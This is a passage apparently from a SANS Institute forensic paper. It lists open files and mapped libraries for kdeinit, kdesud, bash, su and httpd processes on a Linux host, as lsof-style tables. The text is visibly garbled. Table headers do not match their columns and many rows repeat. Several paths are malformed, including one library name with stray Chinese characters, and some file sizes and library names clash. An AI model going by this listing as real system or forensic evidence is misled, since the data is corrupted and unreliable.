</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>1962973</td>
<td>65672</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>7644546</td>
<td>440426</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>115160</td>
<td>65982</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>110194</td>
<td>65399</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>179628</td>
<td>65355</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>90976</td>
<td>16997</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>295833</td>
<td>65382</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>207008</td>
<td>65363</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>924879</td>
<td>65362</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>179628</td>
<td>65361</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>22592</td>
<td>130323</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>173680</td>
<td>130324</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.
<table>
<thead>
<tr>
<th>process</th>
<th>user</th>
<th>type</th>
<th>path</th>
<th>size</th>
<th>flags</th>
<th>additional_info</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>136415</td>
<td>16964</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>42808</td>
<td>16969</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,5</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>0r</td>
<td>CHR 1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>1w</td>
<td>REG 3,3</td>
<td>1453</td>
<td>32328</td>
<td>/home(userid1/).xsession-errors</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>2w</td>
<td>REG 3,3</td>
<td>1453</td>
<td>32328</td>
<td>/home(userid1/).xsession-errors</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>3u</td>
<td>unix 0xc2e450c0</td>
<td>280004</td>
<td>socket</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>4u</td>
<td>unix 0xc4fb90e0</td>
<td>280008</td>
<td>socket</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>5r</td>
<td>FIFO 0,5</td>
<td>280010</td>
<td>pipe</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>6w</td>
<td>FIFO 0,5</td>
<td>280010</td>
<td>pipe</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>7u</td>
<td>unix 0xc4fb9ae0</td>
<td>280014</td>
<td>socket</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>8r</td>
<td>FIFO 0,5</td>
<td>280014</td>
<td>pipe</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>9w</td>
<td>FIFO 0,5</td>
<td>280014</td>
<td>pipe</td>
<td></td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>cwd</td>
<td>DIR 3,3</td>
<td>4096</td>
<td>32321</td>
<td>/home/userid1</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>rtd</td>
<td>DIR 3,5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>txt</td>
<td>REG 3,2</td>
<td>57092</td>
<td>33561</td>
<td>/usr/bin/kdesud</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,5</td>
<td>89547</td>
<td>63490</td>
<td>/lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>133032</td>
<td>65706</td>
<td>/usr/lib/libkdesu-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>1962973</td>
<td>65672</td>
<td>/usr/lib/libkdecore-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>262818</td>
<td>65640</td>
<td>/usr/lib/libDCOP-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>7644546</td>
<td>440426</td>
<td>/usr/lib/qt-3.0.3/lib/libqt-mt.so.3.0.3</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>131560</td>
<td>65399</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>59778</td>
<td>65358</td>
<td>/usr/lib/libz.so.1.1.3</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>874747</td>
<td>65706</td>
<td>/usr/lib/libX11.so.6.2</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>31520</td>
<td>16983</td>
<td>/usr/X11R6/lib/libSM.so.6.0</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>81980</td>
<td>16979</td>
<td>/usr/X11R6/lib/libICE.so.6.3</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,5</td>
<td>101902</td>
<td>73734</td>
<td>/lib/i686/libpthread-0.9.so</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,5</td>
<td>12102</td>
<td>63503</td>
<td>/lib/libdl-2.2.5.so</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>52300</td>
<td>16993</td>
<td>/usr/X11R6/lib/libXext.so.6.4</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>426442</td>
<td>65304</td>
<td>/usr/lib/libstdc++-3.2.10.0.so</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>68925</td>
<td>63535</td>
<td>/lib/libresolv-2.2.5.so</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>173359</td>
<td>63535</td>
<td>/lib/i686/libm-2.2.5.so</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>110194</td>
<td>63535</td>
<td>/lib/libcups.so.2</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>290306</td>
<td>63535</td>
<td>/lib/libmng.so.1.0.0</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>874747</td>
<td>63535</td>
<td>/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>31520</td>
<td>16983</td>
<td>/usr/X11R6/lib/libXft.so.1.1</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>90976</td>
<td>16993</td>
<td>/usr/X11R6/lib/libX11.so.6.4</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>11174</td>
<td>63541</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>426442</td>
<td>65304</td>
<td>/usr/lib/libstdc++-3.2.10.0.so</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>68925</td>
<td>63535</td>
<td>/lib/libresolv-2.2.5.so</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>173359</td>
<td>63535</td>
<td>/lib/i686/libm-2.2.5.so</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>110194</td>
<td>63535</td>
<td>/lib/libcups.so.2</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>290306</td>
<td>63535</td>
<td>/lib/libmng.so.1.0.0</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>874747</td>
<td>63535</td>
<td>/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>31520</td>
<td>16983</td>
<td>/usr/X11R6/lib/libXft.so.1.1</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>90976</td>
<td>16993</td>
<td>/usr/X11R6/lib/libX11.so.6.4</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>11174</td>
<td>63541</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>426442</td>
<td>65304</td>
<td>/usr/lib/libstdc++-3.2.10.0.so</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>68925</td>
<td>63535</td>
<td>/lib/libresolv-2.2.5.so</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>173359</td>
<td>63535</td>
<td>/lib/i686/libm-2.2.5.so</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>110194</td>
<td>63535</td>
<td>/lib/libcups.so.2</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>290306</td>
<td>63535</td>
<td>/lib/libmng.so.1.0.0</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>874747</td>
<td>63535</td>
<td>/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>31520</td>
<td>16983</td>
<td>/usr/X11R6/lib/libXft.so.1.1</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>90976</td>
<td>16993</td>
<td>/usr/X11R6/lib/libX11.so.6.4</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>11174</td>
<td>63541</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>kdesud</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>426442</td>
<td>65304</td>
<td>/usr/lib/libstdc++-3.2.10.0.so</td>
</tr>
</tbody>
</table>
bash 7170 userid1 rtd DIR 3,5 1024 2 /
bash 7170 userid1 txt REG 3,5 541096 40973 /bin/bash
bash 7170 userid1 mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
/bash/locale/en_US.iso88591/LC_IDENTIFICATION
bash 7170 userid1 mem REG 3,2 371 130311
/bash/locale/en_US.iso88591/LC_TELEPHONE
bash 7170 userid1 mem REG 3,2 161 130310
/bash/locale/en_US.iso88591/LC_ADDRESS
bash 7170 userid1 mem REG 3,2 83 130314
/bash/locale/en_US.iso88591/LC_NAME
bash 7170 userid1 mem REG 3,2 40 130315
/bash/locale/en_US.iso88591/LC_PAPER
bash 7170 userid1 mem REG 3,2 58 179360
/bash/locale/en_US.iso88591/LC_MESSAGES/SYS_LC_MESSAGES
bash 7170 userid1 mem REG 3,2 292 130323
/bash/locale/en_US.iso88591/LC_COLLATE
bash 7170 userid1 mem REG 3,2 173680 130324
/bash/locale/en_US.iso88591/LC_CTYPE
bash 7170 userid1 mem REG 3,5 45415 63523 /lib/libns枋文件.so.2.2.5.so
bash 7170 userid1 mem REG 3,5 46117 63531 /lib/libnss_nisplus-2.2.5.so
bash 7170 userid1 mem REG 3,5 89424 63507 /lib/libnsl-2.2.5.so
bash 7170 userid1 mem REG 3,2 1401027 73730 /lib/i686/libc-2.2.5.so
bash 7170 userid1 0u CHR 136,2 4 /dev/pts/2
bash 7170 userid1 1u CHR 136,2 4 /dev/pts/2
bash 7170 userid1 2u CHR 136,2 4 /dev/pts/2
su 7203 root cwd DIR 3,5 1024 36865 /root
su 7203 root rtd DIR 3,5 1024 2/
su 7203 root txt REG 3,5 19116 41031 /bin/su
su 7203 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
su 7203 root mem REG 3,2 371 130311
/su/locale/en_US.iso88591/LC_IDENTIFICATION
su 7203 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
su 7203 root mem REG 3,2 29 130312
/su/locale/en_US.iso88591/LC_MEASUREMENT
su 7203 root mem REG 3,2 65 130316
/su/locale/en_US.iso88591/LC_TELEPHONE
su 7203 root mem REG 3,2 161 130310
/su/locale/en_US.iso88591/LC_ADDRESS
su 7203 root mem REG 3,2 83 130314
/su/locale/en_US.iso88591/LC_NAME
su 7203 root mem REG 3,2 40 130315
/su/locale/en_US.iso88591/LC_PAPER
su 7203 root mem REG 3,2 58 179360
/su/locale/en_US.iso88591/LC_MESSAGES/SYS_LC_MESSAGES
su 7203 root mem REG 3,2 292 130323
/su/locale/en_US.iso88591/LC_COLLATE
su 7203 root mem REG 3,5 43050 /lib/security/pam_rootok.so
su 7203 root mem REG 3,5 23575 63501 /lib/libcrypt-2.2.5.so
su 7203 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
su 7203 root mem REG 3,5 35340 63567 /lib/libpam.so.0.75
su 7203 root mem REG 3,5 12015 63568 /lib/libpam_misc.so.0.75
su 7203 root mem REG 3,2 22592 130323
/su/locale/en_US.iso88591/LC_COLLATE
httpd 8125 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
httpd 8125 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 8125 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 8125 root mem REG 3,2 92407 440046 /usr/lib/kerberos/lib/libgssapi_krb5.so.2.2
httpd 8125 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 8125 root mem REG 3,2 122952 229529 /usr/lib/apache/libdav.so
httpd 8125 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 8125 root mem REG 3,2 1453198 425001 /usr/lib/php4/imap.so
httpd 8125 root mem REG 3,2 8621 440043 /usr/lib/kerberos/lib/libcom_err.so.3.0
httpd 8125 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
httpd 8125 root mem REG 3,2 29 130312 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
httpd 8125 root mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE
httpd 8125 root mem REG 3,2 82 130314 /usr/lib/locale/en_US.iso885915/LC_NAME
httpd 8125 root mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 8125 root mem REG 3,2 58 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
httpd 8125 root mem REG 3,2 83 130313 /usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 8125 root mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 8125 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
httpd 8125 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
httpd 8125 root mem REG 3,2 146819 66089 /usr/lib/libcurl.so.2.0.2
httpd 8125 root mem REG 3,2 191615 65389 /usr/lib/libldap.so.2.0.15
httpd 8125 root mem REG 3,2 48583 65345 /usr/lib/libsasl.so.7.1.8
httpd 8125 root mem REG 3,2 295833 65382 /usr/lib/libfreetype.so.6.3.0
httpd 8125 root mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0
httpd 8125 root mem REG 3,2 79725 440048 /usr/lib/kerberos/lib/libk5crypto.so.3.0
httpd 8125 root mem REG 3,2 42069 425002 /usr/lib/php4/ldap.so
httpd 8125 root mem REG 3,2 44992 63349 /usr/lib/libber.so.2.0.15
httpd 8125 root mem REG 3,2 45415 63523 /usr/lib/libnss_files-2.2.5.so
httpd 8125 root mem REG 3,2 2457 130317 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
httpd 8125 root mem REG 3,2 60 130322 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
httpd 8125 root mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_TYPE
httpd 8125 root mem REG 3,2 1264225 229530 /usr/lib/apache/libperl.so
httpd 8125 root mem REG 3,2 427611 440053 /usr/lib/kerberos/lib/libkerb5.so.3.1
httpd 8125 root mem REG 3,2 191615 65351 /usr/lib/libldap.so.2.0.15
httpd 8125 root mem REG 3,2 48583 65345 /usr/lib/libssl.so.7.1.8
httpd 8125 root mem REG 3,5 1401027 73730 /lib/libssl.so.2.2.5.so
httpd 8125 root 0r CHR 1,3 9637 /dev/null
httpd 8125 root 1w CHR 1,3 9637 /dev/null
httpd 8125 root 2w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 8125 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
httpd 8125 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem
(deleted)
httpd 10606 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 10606 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 10606 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 10606 root mem REG 3,2 9900 229509 /usr/lib/apache/mod_headers.so
httpd 10606 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 10606 root mem REG 3,2 92407 440464

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
<table>
<thead>
<tr>
<th>Process</th>
<th>Username</th>
<th>Flags</th>
<th>UID/GID</th>
<th>Size (bytes)</th>
<th>File Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>1w</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>2w</td>
<td>3,6</td>
<td>1729</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>3u</td>
<td>3,6</td>
<td>0</td>
<td>/var/run/httpd.mm.8124.sem (deleted)</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>4u</td>
<td>3,5</td>
<td>0</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>5u</td>
<td>3,5</td>
<td>8192</td>
<td>/var/log/httpd/access_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>15w</td>
<td>3,6</td>
<td>265</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>16u</td>
<td>3,6</td>
<td>0</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>17u</td>
<td>3,5</td>
<td>1024</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>18w</td>
<td>3,6</td>
<td>265</td>
<td>/usr/lib/apache/mod_vhost_alias.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19w</td>
<td>3,6</td>
<td>0</td>
<td>/usr/lib/apache/mod_env.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>20w</td>
<td>3,6</td>
<td>265</td>
<td>/usr/lib/apache/mod_log_config.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>21w</td>
<td>3,6</td>
<td>265</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>22u</td>
<td>3,6</td>
<td>265</td>
<td>/usr/lib/apache/mod_log_referer.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>23u</td>
<td>3,6</td>
<td>265</td>
<td>/usr/lib/apache/mod_dir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>24u</td>
<td>3,6</td>
<td>265</td>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>25u</td>
<td>3,6</td>
<td>265</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>26u</td>
<td>3,6</td>
<td>265</td>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>27u</td>
<td>3,6</td>
<td>265</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>28u</td>
<td>3,6</td>
<td>265</td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>29u</td>
<td>3,6</td>
<td>265</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Mode</td>
<td>Size</td>
<td>Address</td>
<td>Path</td>
</tr>
<tr>
<td>--------------</td>
<td>---------</td>
<td>------</td>
<td>-------</td>
<td>-------------</td>
<td>-------------------------------------------</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>655224</td>
<td>63543</td>
<td>/lib/libdb-3.3.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19662</td>
<td>66292</td>
<td>/usr/lib/libssh.so.11.0.23</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>141735</td>
<td>65380</td>
<td>/usr/lib/libxpat.so.0.1.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>12102</td>
<td>63503</td>
<td>/lib/libxml2.so.2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>14929</td>
<td>229516</td>
<td>/usr/lib/apache/mod_mime.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>27415</td>
<td>229519</td>
<td>/usr/lib/apache/mod_negotiation.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>18365</td>
<td>229523</td>
<td>/usr/lib/apache/mod_status.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19959</td>
<td>229512</td>
<td>/usr/lib/apache/mod_info.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>35886</td>
<td>229511</td>
<td>/usr/lib/apache/mod_include.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>27836</td>
<td>229501</td>
<td>/usr/lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>14940</td>
<td>229503</td>
<td>/usr/lib/apache/mod_cgi.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>6924</td>
<td>229496</td>
<td>/usr/lib/apache/mod_asis.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>15974</td>
<td>229510</td>
<td>/usr/lib/apache/mod_imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>8541</td>
<td>229494</td>
<td>/usr/lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>8770</td>
<td>229525</td>
<td>/usr/lib/apache/mod_userdir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10167</td>
<td>229495</td>
<td>/usr/lib/apache/mod_alias.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>53189</td>
<td>229520</td>
<td>/usr/lib/apache/mod_rewrite.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10034</td>
<td>229493</td>
<td>/usr/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>11985</td>
<td>229497</td>
<td>/usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>8486</td>
<td>229498</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>9304</td>
<td>229499</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>9900</td>
<td>229508</td>
<td>/usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>8261</td>
<td>229509</td>
<td>/usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10176</td>
<td>229521</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>92407</td>
<td>40404</td>
<td>/usr/lib/libxml2.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>11174</td>
<td>63541</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>122952</td>
<td>229529</td>
<td>/usr/lib/apache/libdav.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>210094</td>
<td>229531</td>
<td>/usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>1453198</td>
<td>425001</td>
<td>/usr/lib/php/imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>8621</td>
<td>440043</td>
<td>/usr/kerberos/lib/libcom_err.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>20666</td>
<td>114263</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>29</td>
<td>130312</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>65</td>
<td>130316</td>
<td>/usr/lib/locale/en_US.iso885915/LC_PHONE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>161</td>
<td>130310</td>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>83</td>
<td>130314</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>40</td>
<td>130315</td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>58</td>
<td>179360</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>292</td>
<td>130313</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>22592</td>
<td>130323</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>89424</td>
